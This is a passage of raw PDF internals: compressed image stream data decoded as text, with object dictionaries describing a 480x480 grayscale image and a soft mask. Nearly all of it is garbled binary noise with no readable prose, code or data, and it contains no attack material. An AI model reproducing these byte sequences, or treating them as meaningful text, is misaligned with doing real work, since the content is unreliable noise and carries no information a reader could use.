&V_n<A +hf8z*Dc!&&z;Tg^/}.R- 4 _ w\w{qX\>>A[h&[#r .`|^81rC"H #7=P8v|g 'H p5|K0-N#?gCh^. ^ wA_MEJe8; ϼ_!4"6p]o;#;`$.Qqx|987l@ +1g )8;O?G[K;@3n. Clz6nR`|\co_&Q&h(}a ] r̀ Li'D4$ЄA삮$sJLNñ)D45>G40 { TX\ Spq8/d- 4wZ{za :DC@$aB*(2O.4A3\*P@&p|fH#I HЕHÀTYH|                                                        _.~ +endstream +endobj +1940 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 480 +>> +/Width 480 +/Height 480 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 8455 +>> +stream +x{E'd$oT"Gg]v]=˺wϞ,(Q!@@1Ʉy03L̝{nܞUUwWw3FAAAA@1c>;)gM1micZM;ڛw 'x fΟ7odځ6l{e+pHդ+sG弒mЁב;(rW̪?o*b~oDER}6=rxǿZ!sa|$0sy;Ķ%}FQy}Pb}vWC@('3˷/}*cf< yv*rD̽o=~) So +-{k}k}SF˷l6^{4=Wl-QIV{uoZ:~]o}}{11<2jJ-LljwV1a8%p \{5t6z}L|>SWJ{5 -ʌoqMaw6eJt@7GA!2x|E8G}ٻl2dIeBG|G`1? ,L~w\hC+KlފO{w2<پCgCF}K 7@F;|Gv!M<{#po@B3w6KքW_w5}Q=vD'y*A +;|:[Z ~d|G ]~U\;%#pN!$Ǖ/;2\0C;&-lw-iķ<9SOAς'-8wI< ^qb$KH)˕GAVYυHYS9VDC vNX:Hs&\rHp!%\rHp!%dzu CK .9$CK .9$CK .9$CK .9$CK .9$CK .9$CKNnouڦ795 hቋ?\h^ +\~MrPDžz wK#J[hQKϴ9Yߏs"ƣB䄵ɷ>F"S$"',OU~)6VG}Ժ +"z]p',]DN%Mqͻ\AqL~._a4>M1|ů1Y4YwwlX& +&{`c}nBaG=Q7;V0cꎟp +3ld}Kev8ɢL2SA3?v/@᷑"\G/?7^+b ?c{k^gJΔc`}^$h_f>nm1;VoY03g +3YO.2)x7D`٦"f"†n8'Nd#g͈BX3qF~h =0d6O= BKK'r[  vلs2v.|dˎfg7܄,]w&Ώ p!6"nĕ``!a>mdM~c,>I,Xς݈A +Q'?f OGL <11Pn<-PG"!rauiab _?;&0}IA9~e$,zh`\ b LM@y$#B1hs eāUc싀BS(`"H1=_<6@jC( MLuZjMh/ȅ|;c!r`;A&/@m #V֑,c@KqL,lM +FR\SP|} #Vu䤨N0?E(#OI#n45OuHwk=22_m,H X_Y!o U >U #)ůT#I3xr>NHR ?v kՖє/vԂ5g`VW>s =wlC} P; ŵJ]m @R!}vl#AWpv 1~3.!8~xHۛ C6B`t}f`w. LJY[ﴊ + Fq/`m|_/↰ D$g'f_X1 ߥ[DB ~,H}pvΆ< ^(d + ^B0M|Z. g +dv Pp,0"ǭٔ漂btS ~n +sǨ'-Xy`([aNno|$D.~+pBܫh &A1tBb!raׯS"D$z IW`Wr"}< `+{'o/}:ab"̚og!r+p_] e0] U?[5L': ܂k~=Yn80013pP3|ͥ3Q e4v5Ç'@5`Ʈ'Pk)7E>q,!w3nsIJѳ~۽:.x|fŒþ`~{pƆau桯f~' ,}-@?gQ7zP#KI gJSeKEgy7S(Ua\KCW/_ + Vn\ fK[.^;"P0clE{-$8ln3Xc=f oWfks/؆A<~zneU~Lxo$ h_a=hϿ%b NQ%6UD"=cS /RpݧrYS.aD.LpLlZ"pu1Zͥ[(bNڭuh!y9_,+fq.#I&-#Ri_0h"7ִlie\>urs,իV:8kފ Tr +$*=_{䕩WΣO.4] $V9h~Hs EHѲ\ m +y?_*ZvWY*vIm'߾[ x$IـDG{Τ&Ħ +r+l}וf?LZ& +M1 ӿnٱ =}zUAlXJ쪞0鷗w f'X4T6 =~ϡtEd<^  +9k8dEɁ/C3$`'t$I܊W-KeiAlYsL5j|lF]mRAb/ +&~MB*+g5i_*wbN6 +6_:Y[M\Nم'E1rf1%7 77zX= TJcU2"4 K[`&[cy.^1I ơܑ+R,=8|ғUlJfZ~G¯-')2m1ʺԕBo GS~m)2VsN>y]H׽/J\E%&E[l}GՠJUߓnk`Ц.eg1Mۆ]֥\(oa%3s-3>Z]oO^MjwGJ6mj$o$3/Yg =6mٛh+W-&E;Efv$,+fc͝`cJǶpXOQ`KifxUYVdtq6o#5{nFV_4nYf5iVF*U]} 3gQ$:#V7C,3]iqN8M۔iP+;1yY3ʃ;vlڔaPe - /W~ n(6ZeW`L?b#O\ڹ5,T ~!.mr;+ΖIJg/tm?lĶǏ7~xzڷg};{ljoVCJuVqQO,2FqZ;PFpC>0pfmw8iϙ*mի*5p`lFr:!Qb9ڇ1Rh,6 /v~2ZXNK*c|˽ Kd*FgX8^fFAİNYY:9,1]뎉rhW7k#%pүW,ID>eRL22,=0R +jeUYYeuRbKC^ fNrFJR:oάqF+ѕX<7[M>m iPe@Kg,YTkXV3+!7mX_NgT,u+:x: V>hʮYz iFp+0qox^`ɛUT%Y7--eqQvYcW7UW:֖ؒiB縏E +r+aW1i3+pxUVƵb)\0P0C`cH9sݯR|f19U* +zۙ> +/SMask 1942 0 R +/Length 314223 +>> +stream +xw%IZ "3-vٙٝe-../B hwF -ҧ\ .HBWb+5̴7qiyHԱUN=&"~'"a%~m T%0 pC0 0¿^&*!o8ycwa/ >a%;0 3EGa0c*Q3 Òaa_E'XHu>aQaf}┅Дu sa+;0 5I'H2 !%63̡%;0 .ѽs8alʻ)I?1 01ӡF![WL-|w sx7wa:<?V`\#Q0vS= +-0#Kva.Jg +Ty r<)+"SX3 0̰yzN0H@I>B2 3dgaKt :a6\.P# DzV̌ '6a0?H %`_%4H=M%>-s0 0\S&\rB+7]4Hԁj*[l9pga鴅]@tJU,7)P’aa[r 'uLW<嬚Ie 2]X9@dga~u:n*:jM]@a0s* 05aI#^#) $LfNֽyY/>>7.0 0=KtĜi.1c_zu `5]Wskc3 0L/ :SŒ HO T}4k^W/Hg +yA`f a+;0 tǹt&aڐ(gm'"DNS0 3aaV a@PʴpCId%أMFlhgC[aS~qNaHYۛk|:";nI֦0 0 D~12%I,K3~q s(`0 05$24"k9K(0%Z.Ĵwq 8GfaaOW~4SƭBv yXٜKW$dfmNJ)ȘP +ϋaqWR⦻J]  `V3ca9؄mll!RȞ2r*P:e+hێ M<:0 0j? B[',U63%;0 sכ8k%`Ϫ3v2`dzzy9R6*MR2qv9dga?Lwf]D `s6A(u_^pʄ%bRITf8ԊLn,0Kvask`Y3Clxxցk֞x>*HÎZ4g4 3dga?L["[z@τT+¢0S(( N!pêaF 0[J[hCYnoRQ;$rFK4K?U`ʎa%;0 3[7%tсR?8jZ\|1E{TR؜NrEBfxD<ܓ3 aQ}pGsz y76Y``gi +SU{1΋+1H’aQp*d$ #{$hޔFI}Uy/D]l#63ha-*=\id(QxR-|VUF+*"O9S$*Ì,aoXhF*#<`U vԣQ{o")!LQ~^ Ì,aQI ә]Eu`<3) +ZIҝIRWnJcqZ֞ ,aQav' ;!pŢ7H wXZ,{A⃮ԣ(^qev563Ha u \tq}Y}HQTJ]&FB$ 3 fOa[ dOzU#&JjjF*6JvXQY)<-GM3hg +l~. legaMZ(hu‹ѳK`SFru!",gfmyQR? 0 Kvaf?E d OݥRbfߴ/+vԩ(|ю3tU;'0 'gK8fRGߘ):Rv,M+b MBx]\騁Ƴ0a +#l+ں;iz.i``]J=xx +&~f`0 XXޙXҧ`R?eDXwag/eu/R#)A8aΪaegasDG׳W9j8=KB"2Zw><]HZVrbӆ/6%g8GfdgaeLɉGgݔ:GRn5Ms:8/^r8k50  0pGtWSvФݕzoҼ0*ޚΦ Euy^ jn'3,a!C7A_B6T{¼H%ې9>@%.;w{7Y3a0 w=EVPN\QF DԣKx*@[YytTJ]M;+TΖOjgaa7pK{FD0KGGT;-N99&j@J]0/hImsOyV  0PE7dBgK5LFH\uua0C%;0 3xŴsk.<`HJ=UnGM?[%9&JOD{ 0u2w=&0%;0 3`~6c)a..8b:MGbfBGE{#@w #^p`CsdW?&+Y;3 ,aA7-%Br6y'Nӣ4OuCn0i@BY)tdD=bT@S @B $R)3JfN Kvaf|Q 3xFmn_G[*uotpvT*>*uUڅ&~rU; 0ݝryŲWGS)ҷRϋzŊԮ~ +goU;  0`۫Cl^#\pQRQp.3>*6搗 RWyASfw4pɎe[X3 0~` +8Nl3v)'ޔznn9+y+55/AF4Eϻp?bv,a% +"z +)1GmH*&~dU; Kva_ edRRS.c먱Pj%MAOf0}ag1 %%:vԑMG[LmeVZ)]GR΋/9N +pwĪaz%;0 w!RGܧ7ޛ4-J"[YNcԩ(=Mxֆ23d^Xav%;0 ;_Ho+ԵyYs:r}JܔEudRDhT'^ /ۉ "wOfaa0 {,L[xSq7ޛ4"7T0 K_"+ڼFTguU7K+½~tU;KvaG>~,;ςa,0 tͷ.1ѧIxшgS=}g6U3T+{ƎlS&j]5[:wIa%;0 5Cu$^pВI֡4Gg+sE].J9] +^E|cX3 0}B< 7\ľkޔz͛H$JϨll",gU;tKva _ezExQ1L9jJ= +ΚBD&Vꃏ3TS~䳬fwx)0 ,N-;h+!z n [StdRqޔwDNg0L[aNMz ]؞Z06ܲTS{: +q?j? mPTsf7X3 0`z!`^t#ԑL/뒝=sQi:1F]tqk#qo?N  0LGE7 nӛDwr ݑˆGRW^q A?xU;’a +( cÅRs~.3;HDۭZb0ٰdgav %wvH'^˭ aZWF5O;Y©fLSU;daم~eW]Rm䲯.SEnO @DA{ʆK̶yO,g0 0.yٻqQjU׼! @aRdgaMe>}?J9>G(~tFHѦӍ=* dc]fF%;0 ӎ{*.1ozXDM&{VQL}W\GKO٨+1|,2cU;İdgarti|oauOE3Uh{-bAfa0 lIn2U+uH9$ekLKa=ʎJ)3\xiW#u|}da@ W]!*]z=`Dܝ>(ʏb #)B.G-W3b [a)w]{M oCw?M8F9˦>cqT6],?CQ%;0!+*&zՆԑ/у'Oc~*ZVF=eK`ͪ/X3 J"2BodIDOޝe`S@PcX5dEylԕϣE|&vf|`0 sEb^v!>,uzHmsECb>Шi"uU;3&dg9/GFqhz A}G TGI 1fhpvnS[M|xU;sa0 sx C@l.S͖2J=B!B'a8ƌX΋5}#@_#/jg6$oq9dg9D:Y3va:[Y:VA]B'"  Z2JIZ0_5G"۸;K~NRGQF=Gus^]\m;らf%`.|EdQd᱑aFw ܕb$%^ϟ"w]li<ΚMڃZFTO7gm 7Nio/.9dgr[4ɳܶc0̠j.YR^.md:4_BV3,:#RG_hevooѿ;ɪu1%Δk'GaF͠ھfkXK/;Mz.嗸6 ʙW~vHMeP2j0Éʸea8nfM԰O*7?/%4.&2%-yX3:D{"=y;Kt'L#i m)0Clxq݀q)6&zrtMk,mkEĪ.hdQ=M=+ \V<<{%>e_w5fDa+;B[X!ŪPMixfy2«v`],jW6+[2 >5hێ%B;EQ{YGw^]UUr1213#[;3_>)\g+J0̨Ctwh.yQlQ:d9',>֊ڛu<8l{V~cQWtyΜpC"Ōle?<)K䩒PXUX>Is1aFUcjy;۹" JDY|zI淚%"&=="эZ\^lZBbsě/ 쇔xJB-op%D;l`> 7l@u@d'h R YGj g]E;Q#$D (a.ڕ6;^b%104gѼ%ߖtѹR@!Ì0wHwj)գo)Q;g>[Z KЏQW B;m3y(pا'Tɱ8O/yͩ+0oEv20Ļ*@k/CST.R%CZeIIJ=˖fWS;zQLW6.3T9Z/4ghMY3;"~b*u:Z0:p跮;7aǢ{[K~0]&@;]uDٙ#;SzkdreL^svKGaKv$>ʹK xG:3lb>yٙoм;3mK-%^OdNo0̾tPY킡=5@_v[{c6mT\dQnS*.?sXtKOxǮX>y9S5fv & xN_Q,ZRVY"%7e:_%tyvny GGW"zW%騱S*7]dK0!` 2~Î1c'^UlŌ1g G3÷J/?s3 ݵ "钿)EN,"VYB\o:&)z9Ǯh3MwMu (?j \ᢍK,1@α?X3nEr457;wn5UiƋaF\."">%[AXٷgՇy9gJ `-T 4rµž0}1ctӖןZu*sPr4SF)ooVYQ]pДJC -rZ0*d~bNHQUW.;jov-&uwޥJz̒+C{yT$-=)b%`SbY9mkPTמp3ȐQDGg)ړ.T.ܫjn}{Qܔ2 A$K^lHHu%Y3%%W +ed-5~z8bW&r斊aF3%xfmdz_{'G-!َPRϒ`~ҵRϖ5ݗ-; Rꤺ`:zQ*W\I|0kD4l{N %3Xno\w6l|Qj5")^xCefyt qэo0czN09A{$W85}{> EAJzu(k-W+BHLh#O}P =q.(8%g蘅&& sDM7 +͚,N}v/mc%2Kk5%RBJ-6DBz@*KȍA3b)4Jt_^lQEfFςu sP7I4d_X~f*L7^aFPտRyaֶtI:bm )#-|so{;C}eY)݆u\唚=sc Ai=B5ҁ.VwixqUZ(*p+=V* /4Q{@}%o]&0LX0~w ,un2pW8mK ?l3'vd>b|w|ɬ9Yqhp Ù2zPU9("l^KCLVWMS}S]J]=?mgL{؛2Â~<]Bq{ͦxYkRFzZ5?% G +0`Ԁf[ǧ;'"v1{[IjR,{auFXH*Gi[2ƛLĆE(AzJ{@mK:ĔSf6Gۋ(ʏ .?]ؤG˹ƪ7wc3xX~w,(Gh߸]$dv_wڥ`^v}Ze(W,Qr1{C&J ue܎Ѓ"SSLϜ IQ0{Z]'bЁVc9?t%+!0rJ]嚃 ->&w=EOU;3`X{;V1~;-*vlN}D|Z3eQShܲv5\bT7R<C}=a\[{Bf>Ww#6=F(R8cYRpp:*r_rh %#רD|Q́† ڝFpW$fQX l}9\:2aS*:XdyȤU{|v֞XeͲJZaR4Pœ `EyYRS~nvpuv9$BʆPww]pM' #٠ +gc{7]I@b@2E;Q)g45_}EIhF0<(q́ࡒ, \ P$NȚ P!7(>0qjPi:4KYe2֣*tmu'C]d͡2|xAmm#o]㙻A’ktU:Cs9>sѢnܤ@Ugs{h_p(_>[N'ьR +$Eć `?H2U +HOMII޴+YkNjbtSQ{G7U\S5j-[.L`5%*r"|=Z # k^j8e@}sDg5HÞ^EzؑL,[_{jϛ] *P"2D|"6?K[AJJ4Oɕ:C7&3KQt 'MT:`79mxq'MwwW=պ{$ME~Q/.A~xkIqY򅯦ډ"'LTzI0iD|D ȉm#:^vl͟`>VlzxV5+}4aSyXM_쾱k=`+0S|ys(bVՊk(: hH5Cgvz+1Q;C9 N2q=-"'TRDlkˡ˸bd,1JRO=`ˍvM85CĪ1f[4K$D)!hyWu  9DB}!㤤wduT=UV(%77#T]LSCy^$2LZqŎ. O1sD] );4&D"%=VnjvAR۽!&5a`+kNy۫e9tp}?IO>g&H #^c^Ϣү\u7?K+֦TwΉ2jɲ^ű gIaF"m%ia +OoC{.QK\u&>?q6Rđ=/X:1im3QCX +YfXBzP>KTz?J͠_>\a;}OarxK OK&D!N΂woue C +=KϺCr޴C u +K":h[$sE^w aWl_>u~r5&Lp|750n;Wg9 =jlINҝ_{; 6*zZ""D9bKBݠ)+\ s_KerBR;j˄`Cw'9G+}]ěe{ .T{mЪcDd7֤=)[ko^sZZRa f$d7;D*P]b_FP*K J~QsĪ 2ƛRRA v•o=.ԴS4Kg+waūm}, ~7Laǘ}.1SZ/p_bo,'hHS2".%XEјi#/ӽ֩QH\ Ь4(˿Qul=DpM9dz( ӕrтh@(ۻD~]zlWA#k,$^`áS 夁۩ T2:yvF3jj5& YRSI!^VW} &Ū׮؛vl"4 +mNQD:Q[{+.sλ{הi!S I$x^~Ċ$bө)P1EB_l9D<pݎ}IE *Frl픚j͊ +%A "j-O6H$LQقMIMÔ_s,COxIQ,2>GrXA Y0CmE{;QR-l +C=YϷ`D_X]@UsK^ݣFBoK+5q>3}%^/,ISTz"l:KhQRM7LGCDźk疽KMQK]$A<q7U<]mQ+bUZ 2=:\D|:14: [$A +@l9ދC"xgβ>o־﹕-+˾k4Y_>ׯN2`_m/$m1[Dy9]4f +BG \X~?.'q/QbA;~7fҭؙ ^)%eR,! zQroe#՞9A{THIMDIl& dπ_^z0rHgqI[qIp@wm~H`DsjU&C爼 Yz~l߼fhH(kT;2YŏP>EL  + _v^ܤlwdw,r~hx L<5ڃ">:x\& $3)&ԋt8 Ys+18>]P)u5uZw,qgE|ҾM cOnW \42 QpyU9>užZzjOt~[KF?m8AyubNB7  糷7&U{)pmgx<4|U]}HT5h7#vJg'B?uR#=~UH(Z, +`, 5g [gwCO& )uas5y''=!>~-5hlO87/n5>Y-})%yewRjZ{ s[کvjoH}S_Tor??=vyp~fE?t҅wا>ecX_Δ h̚g]^SmU;:Pіv 3X}n4'-^OtaW+2 H[HB-?3Viˎ2SIծ,Wb +ZlAJ Ik9׎؎i|e.F8.|.J]}z~k Zu_b/#XmR +P2ŗя|}9,Gp,^hR  ,Q+=kH`B֛WV]WtnǞf,,:aez_;ewU]5Sӷ#})i!C4FlUV3>J}tv9v%=xN "!1 }3X\vSQϱjSXj)  \߿d/iPW H]a^aqǚƤ% b3'\UΦ K.UJ`-yAyzcm7!zWޅ?B8'l瑈o!۩uZ*KmFR~BP2ESOfSF1.JgXIij;F-X>y~[V N0te0Ò}`|%:"L@txA~[]Ym0zJW= \i[-eBJ~NwOY ,2[4W>N2Å%{uɝ133W?_e/N#jN_W+-϶NL D(>5>{}vuԝn)%PA3c*&@Z@eUTKp}Әx=РT;aQo#JSu%L׫ئCj:٬R1VU@:mFݫH~]csٱ4}cU8;_:5qgkϮe ,<~EεىjOo}W5'Y8J/{N~=WȩHʦWԦPArh {8EAkJE[&G=ck)w1҇^DkW[+{zDnf=q3)C  mNfL9"ee]h#7)8_jv eKGTPSMѨimJFY眲*"~5m$—z;PrCόI)u[hQv"[v!aѲ <85iz$Me9=MɎ쇀3TXsy7.GEIMRKHpr G*Js_zxS5V`xQZ΃ρzCT*l + |מ EwlPjOtEҟ?Yyp ~mg'{a3< Eվ& Q91|yv>R56:;- ҺcF=Plf?TKU(Zq ɧ-pW#r mbQ78I9( cxSe&dKgSw5Ly3qae/9v8g{_9` ݰآي72Ud=Q~a)2,R)/{_vSվi'_',[+a,OσߏH~zp%ES~Bj#U Bگ=KkRM %MF#5cU{gx{?1aq%v>x7þ .]_zepQ/mK' KL{ lKOF$>~(P{*<XwQMwʎۗyLTڗ'T;x愭o їYXYpf&}T.n]Ez&??{N<ݪ !HgFcծ6J"( (mWLo7_{"8Ѩ/B*LnG̼j_îGBgPc2rhI.%|&Z_:~;ORRt-T:dޑAz߾l;)<Wv\! ,lшD-[NKޯZ|ba- 嘿wޕ~F{- =$xSJ=nmMy9DZQ@h_tBJET dGjRbrDKHJTT%N#]y9RWYwbz("WZo$-D!<8]z,{ae־-y'"oo97k.En/վg+P5K2"8v{P4 +p\p}} E0k㊨yHS?~jNj*>~QtҧoUwU~ ӎ,]i.zn+}' Sa=S_ J=/ t`/Ž vٝ0!:[nxڕ!@W+Sˍ+E3(V3ѹJ;fpgͷ+g__8 tl vT}qR?y׎ fӷBg\!څ]/~ۋg)=\!A,EI|LCjlULЎTlTdD,4T/R"pVÿc%|jzR;JhpJgí&lo)pfNk9Pd@+ͦh#BhL;%{|Np#嗧ʒ=LJq,aU{[NyҎ|SW~O,O4+ [ے (]0cH, HԒ%%TÇ]*1,U:e01IK\ȅ`B *gqnmYjx 8f2^ER.}GZbQ +ؽ5m5)MMS]L-5BݕO4'"2 IQcd4z1ϯy/v P]I@-#ӆ5Oӻy"ʒY.7q?cmiծh-T[)!=/ҥHg< y]jC2WDɋ|f~A5Q.kG7=,AVsxBbNSw}r8,J=B^ْn~">c玉 l镦21Yxʉvl`ɮKLbfKźvځjjS{¯МY?Z/,6CS;UU;^΄/G-?_fӫ +D 'i nkockLRu pRʺRmfpes pZ'Mvu-R;RWiݜ'o~}X[Li%WL֚sk̈́>DE੉J;6dx˜U.#T{`ȗ.?nfxOx;U?R1 բg; D m'`["A["m @}!sѧy}C"mk'hsL9'PjdN>DPTNMߎ,S$U#J^ˣ?MО.aIfL1adkquˡ2 t@\9,5F3~'%=c*côA,piAEǺ]w_Yo=ZƗ~R;WZ f"5{ˍdX1#Kw @վn'%p̾=Q|0Q ޑ/,:xNT{zWY\BSpGbUꄢU}fvמakcmQJ,-a&hOd=Z,"AsdO5\b)}݈};\=3{Q͚Κ' CL7;l4a˰J~|ɜ _qܲc{_ʐ +<dxM:/@ܒ{e[ײjǪg(`Ok;)J&ڲ+)%H"fDe>ΈNp@t]F}mB4Az,q% 'c,c: 8!,H&rĖK[68Q^6QyZf$e9R{M^HGo1YΝNX;,"ol7ꡣe|_ax `zf ?s#x}>Z5 {ӿ_e I?+GÆMxF3}ar d#_rnMSO^v~DEmy}]؇KDF>-jڜvӕe\@}QP@k )VUQۓlժu9w:` qٻgs_-^M1+u\mmxΔ~vR|CY5e3IJKrz²D0D/5lˣ}Nh>fΞf gHmoW`Q4rTR3,\xf諝>},]zڐK"ؒL!S'F'*QA \˩BPլh4V+}f2PvDJQ_{x<%=ZC3FRRb!鱤_VTL1Qt{H! ˜0FJ}%ߥjR +0SUG>;(Dt83&IxfYYDϖl}LÒֱrbm.@RЧ5w$jɪܒ.] CX*eD(դoFXpE׃VU/;)d{SAlf[b)!oQ ܯ= +6:>AE%[xUEjVukUB=]DvbJO7Jm1a: .Ρ|_ߑ;RH(|,՝S$wN [KMGjIk|a@s%7N'K_XrDU_TPڅ4AmaPb&_YthLP _R( vRJHQb%,lecRthKbڕ-$@[EdUxʴ_mܺ͛fz Bhj-7wd%N[BMhzSØПR0!C'%«;2鴮dPƷ>x<8I|ۂqbqtB>nN4Cn1gkusKnb4jj+W`U{A"e5jW<2d!},L76 ]jU{\R/:>tAjUQ JU‘?ZXmK~ALm?0̙“OgHCoAFCw1) 09tiV7s-8p"~ʝDŽX M9;YP@{~>`=o,!rl4Z\QP;.}u3Q[D=Wm:q-]+RZ [#`(pnB\4 \Zu+%%,kҮ[Ewפ]UGNа1ț;C-'BTq zs6tP=ٜf(B>UQYrteLR:7(g ɂH'q k\V99tnov+*L|D dx,j +]vnņ'(LXK>Ȅ^/;'kvQ=Q 䬊}RHvR+ъ臇҃P5{{G}+FjQIlSɇ Dhxa.f R)CLmV$F9;f'-܈hrVU픕ߖZ8,|D2)YӷUsJ#JeN顸$aN(wa(!P̴oԤpGHQ|o؈WBju8=AlX||VMZ(!K<]R}dvjGJ%9+O<+F7FgynW WKz\^9=up-J@ @^t1›9D'd%M΂[{v:A{*' L4ejoLT0.vquNl^KG0%S f='=3V99tiOe$^ۑɟϝU㯾49}%~2~fAZ5w}w̕[ʡ퉦6 K `4/ R}i 4hՎ.*!E _hH;qe|lq(]}ll9t(sx=qD#ծjSU{g @%Ǚfvܹ20Oi8S֯y*KzrN]s@=qYTǒLljL1X6cib&n(|uN&bC0ltN+ +c[3%3Z\J\)^n:+Lz>NRKB5 J N۔FHuGվڤ|>=sblt~ѱ0]UT HnIS*W5Mv Ƀ9Pg=ܷd׾TS1B(@B+SW.jC ՞5A{HQ͊:m%-[R-ϑ( sLw*)Q}vL=EM~䦛LAT/rP,սk,@hy~z/f8S% {79I8rV2_X+;pns.SlcEc!/,^RydŏE[bM@uS*A*O6U£IdJI[0g(N5?Nh2$] ڃѨjyJ7e x퀙,E5E PsdO/$jDgz+Nkq~;R{?r`3))A9Sz~Nk UU{\dŦsyۉG@>ZkϮC56Mj(427U㍺$\CfKRw& +5-U8fT;:Q]Ox8T|=cƔ5ÓelxҩDJtI=9)ϧWU"uH}vwI,HLl R)k^ Xɟ¥ ϕ(8Zu^*;p: .'|481a<4_>8Ȩ*qtD ̈́EeT8|xtw9\b)&|?o8'nj%=h:T7RܟTupODYeAC;-}&:vU]!6$Pn?N.H- QNW ),ծv'sI_ ?D}҇ѥL|RO<%J^Qk=f04T+[^äy+K'?("Tsg)tbۡʖ[ur|D!/Tj;.RTMqh|S\{7̙_>sqI(!=%"֔d&>T Ta.F(* ]A=BB?w<"+ +\I|?Ϻ9[[s"'"e&˂ă˕<ՉPirdzgLѥT&QfmJJQzx$0U1q:UtQj_$ǃ'\knS0 X@AS,`0L˰i0a"A &KZJ.xN!ٞDy(- +~Poi,8"-bQ"jcvY(lЛPI)3,5>7H9Y-]W,w.)e~mwVG +DAd>_[_~8]jId$ڌSXp \hTRͩ9S029Q)lL/`ab>q¢%/y=cb3H$>LZS{R +)Ϻ`">~_=; s8!-n'K+Rv  +TDC 27%S#N,I`ή[$/ G+O)WשBÁ4! +Cق)z}MW̕0Wd@p6mIVB0D0Lð(hiCL0L!LC$"TUJ۟HWChM\-REd$ajA#'1 G'Y=\ĻNZ7h_ RRa>JT-YC<\ĵ5@7g'ڙWޓKuYTeG@JWse1Wt0mbg',l۴ZjM /E +(d^Bрe`B{×0`a2aQ0M0 (C$qa!'RkY\E"vTD*ՕH Rvj%4mNqz2ʲYRb>yw#ϡLGFia)o{2c;#[ZS\ NNXon7ъyڮ0CO̯Asv'Y`k:Z~KJ`?\4JNMnlRӅ#"#vlڱi%7[Toq#9YϮP9Ri`(1WT قۄ ¶#R:Y C } DIL"mHDeYɩ +_`^I :0@FA%aQ%L/6隌ڦ.uЬsw?\J]͡lG<5H\_~'_ݾoF,k;\hKVR\~N?Ќ}íNg:bK57 +H0jFR%@̣$6;jnl헷Y$Omo4Vau7(AKя=vmkWgۦa*2CJZ.YoK TرiE-jv̇ę S|q+mMJV`c$1WtMsB`l۴QVvzRRS ק1WDS.Bpv0a +hnǓ'g˓ԉl5?E٣Q)Q4[B+~PUW-Lp(V"-ך +NZCju4+Rhz-J`Sp&=aEs<u.s/>^';Z#NR#7\hs$~֖.!\Ug"R_RBĦ(%3O]' =28f܅=E,[LX[._ߗĹ*GG~}B(w9wG>Md#mkO'OHF4znd\ܮj:$Q j8fVlݠzד04*F;>~:b$8RL i$ Kl;ޠVkdw\EV0StL& (6[Yz6F}Q.3 J9kja2QIsEґ=S Es#Ո@6z+q:.D\ Zxig vMRVX'yh֘KY.7wܜ-FҦf38]Sŷwp~-ci}#Mx@ nvcjoCfJ])jS;'3jk 2k[-,CU{z`U;BܧjWLv[=OvA\ۢ?Cw€at#qa{ttݳŨwFiz}K^) ٲ/a",IK]Zm`F+;Ԋ(Z*fbD(݂QMlbNur:[FqlũiQ)T狓 ӕj)Pj$okUүmIٝrI0"/MwΘg-֢dBxߌXmtYJ=7Q;fsաfϮoSk}P;lhxW8.c L_n +,1Y?yw|chW莢'"kro\k!˴dZsw`)b$ 6YyU1U oW{D:}Yՠw* 'O^ueMz]ɗsS5%K:Umr76=aTqTJC/sZ ՒDFY>MfږhJ` +0®FΘ$l-7zk+T u䬨Ь)LVKJ +HBR IԤhn=o{p$\$ȫ2] +ǂ)f D€ia ۥv+:e]?=>U1OOLVUY_{C&+Ry.1ЃLPLឲRM̀!;]>@94wHG.o{;8޾~Lk}^@kJ#"Toɔ\Mt^D>}0f~T Kt!e/H6BCjR˫}&S 2tNqlങqD/y/onn\*H\b<0yeHI(c=!0tDꞤ^?ɂxc;ds$o/a}Z\> mXU↷2s, ӗJa1QwfޡcL[o\i9+;:0+{قicW&̲5*r<#zv -xf8_[b^i،f-t.mXMORUQ1 + S)#x{sӽthiLD &JP)r,Ҁi Wan`ǖjvF%/)o>4'#3EG6JzK]l׾C!׼"6H- cE]+U#zLM.xo/~'0!ң;fƒ==V,!\Hϸz˖{s,{׿`gnO$4UωPDb+'R_|pGyLڳJ"I姧z0,F_(q)7e f,WGJGvQeIۨ5eÕRnNR/immF겈" ~FW'_\Y.h;tl0-h֤ZW׽ps9+c_8RV"yuH7e#r%& RDjT&y遼x%ah]jPkAggĔY4&Wf-]cGtCG=;NЍEfD#&'bTYWz&`X,Ud:0UNMwMFP?~iږ*S}ԋ;n*A50Tܬ;?}ϸ8&chff-lGP q7՞*IKs Yڧc$ۣ=;V ˯nښ{sG p~< +ƍ%% yRCjN}[YՂjaǥ6w1?)㸞62`D?BΧtwiȭܪ{k;rN{m=d»I_ A 2WG/{ȞaEwo'~Ӵ#(ruQ;J]޼E;MasӰs+. aMI^ $h-/yYf4ۥTOL\ +tQT\0mo4[KRґB0o:TVHvogS\ݶ˅Q6 XKw]qoo]"Z˫n*Q-ajZ@xԺrez| +&菾t%=Ykt{4AKXޑ;.tf!L!%/ovRx7,mgiw. Q<:U82i!e f`o4Z=/ +suWW{$hU"AdM6vݼTXɳsu(Jq ˄ҖʖM=L 0YeKr!@ǏJ:JШ dZ7"# +xB ۖzeGn(Z*TV'KxYӦGח^:۟zv鈳ZkO-7GUHn!@LTN{́wq^p+Fgb{uI!)uJ&%Qhlj W[ Y3XEV$2l%ʖ8Z5; +Jڴi!W6ugy RReQo2Lp +Ǥvm PTo'Z RZy")E85EA+ӕMyVd,sĘ+Υ]9Q.O*l^6VvgNܝTս'}6*G&3r flv.ܭf"'*[Ivi֭Zv0]*XShUNBs7kۛThv.$"UήVoV'SsSBiz&SmH 2w&+’ӅS%qIU^ؐd1 +z㴄[9hJ8f)gXvd ~z\'l-~=&StsoZ\@~Z#bW3흈(P}ۑR/Uœ]&mS%IVT7݀ߋJn4-.;@vwɺo23wAMZۑUiSnN)r+w +tCBkaxcc;imױ7ʚ E1Y6;U0+!owgSUAضo%Q<2Q4Kn fDh47^kN,S 3뢴qc }[ bؔI5E)Jl=4F󘐵f3V5Y2kdYw앚O|0k"ibZ=q,k!#&H & gf̳s۲evTh셡(.3=0:)3md[77oۆxa-GJFk6yiqc'l EZ1xBu=ͺOwRܒaʪ=3϶= Lv1=Xb %pBKC0 +  i2P2P0P0ehd)r\ݱi-+KNNݘvh)4j3_1 ]SSZ 1I,z~1S6>$[0+!ʆ~t$<.כ9(fX,VA-"0![hmԩ1,sݬխFY=2Q +Mf[j4U'3k5ٕ@q\Wo?{aKE +-D}ͭ} +'d#2^t%0~H'RnZ(Oѩz@URy?XR?]M;^vj5re 